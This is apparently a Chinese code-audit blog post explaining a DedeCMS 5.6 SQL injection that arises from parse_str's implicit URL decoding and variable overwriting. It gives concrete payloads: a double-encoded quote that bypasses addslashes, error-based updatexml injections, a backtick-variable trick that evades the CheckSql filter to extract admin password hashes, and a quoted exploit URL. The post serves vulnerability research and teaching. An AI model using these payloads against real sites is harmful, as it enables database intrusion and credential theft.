PHP DedeCmsv5.6 Parse\_str 隐式URL解码与变量覆盖 引发的SQL注入
原创
Shelter1234
Shelter1234
安全研究员
2026年10月7日 13:42
浙江
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
关键代码
关键行
parse\_str(mchStrCode($pd\_encode, 'DECODE'), $mch\_Post);
foreach ($mch\_Post as $k => $v) $$k = $v;
漏洞详解
parse\_str()函数引发的 SQL 注入和过滤绕过,是 PHP 代码审计中非常经典且高级的漏洞类型。在以 DedeCMS 为代表的早期 PHP 开源程序中,这个漏洞曾多次导致大规模的安全事件。
这个漏洞的本质,是\\“隐式 URL 解码”与“变量覆盖”\\两个危险特性叠加,从而将攻击者的恶意代码“偷运”过了系统的全局防注入检测。
要理解这个漏洞,首先要摸透parse\_str(string $string, array &$result)函数在 PHP 中的机制。
•自动 URL 解码(隐式解码): 当parse\_str()处理字符串时,它不仅会根据&和=来切割键值对,还会对切割出来的键和值自动进行一次urldecode()。
•全局变量覆盖(Variable Overwrite):如果在调用parse\_str($str)时没有传入第二个参数($result数组),PHP 会把解析出的变量直接注册到当前的代码作用域中。这会覆盖掉程序中原本已经存在的同名变量。
早期的 PHP 系统(如 DedeCMS、Discuz! 等)通常会在系统的最入口处(如common.inc.php)写一个全局防注入过滤器。它会遍历$\_GET、$\_POST,如果遇到单引号',就会使用addslashes()将其转义为\'。如果开发者后续在业务代码中使用了parse\_str()处理用户输入,攻击者就可以利用双重 URL 编码完美绕过这个入口防御。
攻防沙盘推演
假设系统的过滤代码和业务代码如下:
正常攻击尝试(被拦截):
•攻击者传入 URL:
?info=order\_id=1'
•PHP 将其接收为
$\_GET['info'] = \"order\_id=1'\"
•全局防注入触发:发现
',转义为\'。此时$str = \"order\_id=1\'\"
•parse\_str($str)
执行后,变量$order\_id = \"1\'\"。
•拼接入 SQL 后为
'1\'',单引号被闭合,注入失败,系统安全。
利用 parse\_str 绕过(攻击成功):
•攻击者知道
parse\_str会自动解码,于是对单引号%27再进行一次 URL 编码,变成%2527。
•攻击者传入 URL:
?info=order\_id=1%2527
•PHP 接收时会自动解码一层:
$\_GET['info'] = \"order\_id=1%27\"
•全局防注入触发:
检查字符串\"order\_id=1%27\"。因为此时字符串里没有真实的单引号,只有%、2、7三个字符,所以addslashes毫无反应直接放行!
•业务代码
$str = \"order\_id=1%27\"
•致命一击:
parse\_str($str)执行,以=拆分后,将1%27 自动进行 URL 解码,变成了1'。并在当前作用域生成变量$order\_id = \"1'\"。
•拼接入 SQL 后为
'1''。单引号未经任何转义进入了 SQL 语句,防线被突破,SQL 注入成功!
现在把视角转回到 DedeCmsv5.6 触发sql注入的关键代码行
看关键代码 parse\_str 16 17行的逻辑,这里虽然使用&result第二个参数,但是下面的行 foreach($mch\_Post as $k => $v) $$k = $v 和不加&result的效果是一样的,都可以创建且覆盖当前变量。顺利的话是可以 ,制造出新的mid 变量的,而mid 变量在下方的sql语句中是使用了拼接的。
这里的逻辑背景是:一个php文件 访问可进入,$pd\_encode 与$pd\_verify 是用户输入的变量。
在进入parse\_str前先要经过verify的验证 ,有验证verify 必有生成verify ,有decode 必有encode ,找到相关的反逻辑
$cfg\_cookie\_encode 是程序的硬编码 ,为NeQLg8853J ,而pr\_encode 是来自我我们的请求参数,mchStrCode的逻辑就不用看了,这里de en的逻辑是刚好可以反推出来的。
还有主要点GetOne 函数再执行sql语句前会检查sql语句,CheckSql函数调用栈如下
漏洞复现
第一步构造 query 参数 并计算pd\_enccode
第二步进行sql注入
附: CheckSql函数 绕过思路
绕过方法一 不使用 Select 的报错注入
CheckSql的正则重兵把守的是union和(select ...)。但是,如果我们的目的仅仅是验证漏洞或获取当前数据库基础信息(如当前用户、数据库名、版本号),我们完全不需要使用select。
在 MySQL 中,报错注入函数可以直接调用系统函数,不产生子查询。Payload 构造:1' AND updatexml(1,concat(0x7e,user()),1) AND '1'='1
绕过方法二:“解析器差异(Desync)”
如果攻击者必须要用select子查询去提取管理员表(如dede\_admin)里的密码,就必须绕过\([^)]\*?select这个正则。
这里有一个极其高级的绕过技巧,叫做“解析器差异(Parser Desync)绕过”。核心思想是:利用 MySQL 特有的语法,让 PHP 认为危险代码被包含在字符串里从而删掉它,但让 MySQL 正常执行它。
在 MySQL 中,反引号可以用来包裹变量名或字段名。我们可以定义一个名为'(单引号)的用户变量,语法为:@'
终极实战 Payload:
1' AND @' OR updatexml(1,concat(0x7e,(select pwd from dede\_admin limit 1)),1) OR @' AND '1'='1
代入后的完整 SQL:
SELECT \* FROM dede\_member\_operation WHERE mid='1' AND @' OR updatexml(1,concat(0x7e,(select pwd from dede\_admin limit 1)),1) OR @' AND '1'='1' And sta=0 AND product='card' limit 0,1;
CheckSql的while循环只会无脑寻找单引号'来提取字符串,它根本不懂反引号的作用。它在扫描上面的 SQL 语句时,会这样成对匹配单引号:
•第 1 队单引号:
mid='1'(剥离替换为$s$)
•第 2 对单引号:
第一个@'里面的单引号,和第二个@'里面的单引号,被匹配成了一对!
于是,CheckSql会把这两者之间的所有内容当作一段普通的文本字符串,无情地删掉并替换成$s$。最终它生成的$clean字符串变成了这样:
SELECT \* FROM dede\_member\_operation WHERE mid=$s$ AND @$s$ AND $s$=$s$ And sta=0 AND product=$s$ limit 0,1;
结果:在CheckSql眼里,那段极度危险的(select pwd from ...)凭空消失了!所有的关键字检测全部失效,直接放行!语句来到 MySQL 引擎。MySQL 是认识反引号的 AND @'` ,判断变量名为单引号的变量,值为 null,不成立 执行后面的or
纠正网络一些payload的一些错误——主流是给的cfg\_dbprefix 做变量替换
http://127.0.0.1/dede/member/buy\_action.php?product=card&pid=1&a=1%26cfg\_dbprefix=dede\_member\_operation WHERE 1=@'/!12345union/ select 1,2,3,4,5,6,7,8,9,10 FROM (SELECT COUNT(),CONCAT( (SELECT pwd FROM dede\_member LIMIT 0,1),FLOOR(RAND(0)2))x FROM INFORMATION\_SCHEMA.CHARACTER\_SETS GROUP BY x)a %23
cfg\_dbprefix 是DedeSql对象中的成员变量,在初始化的时候就已经被赋值
不确定parse\_str能不能改变对象成员变量,但上面的payload是绝对不行的,不知道作者是怎么复现出来的,
附上dedecms 5.6的下载地址
https://github.com/leixyou/dedecms-version-list-collect/tree/master
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论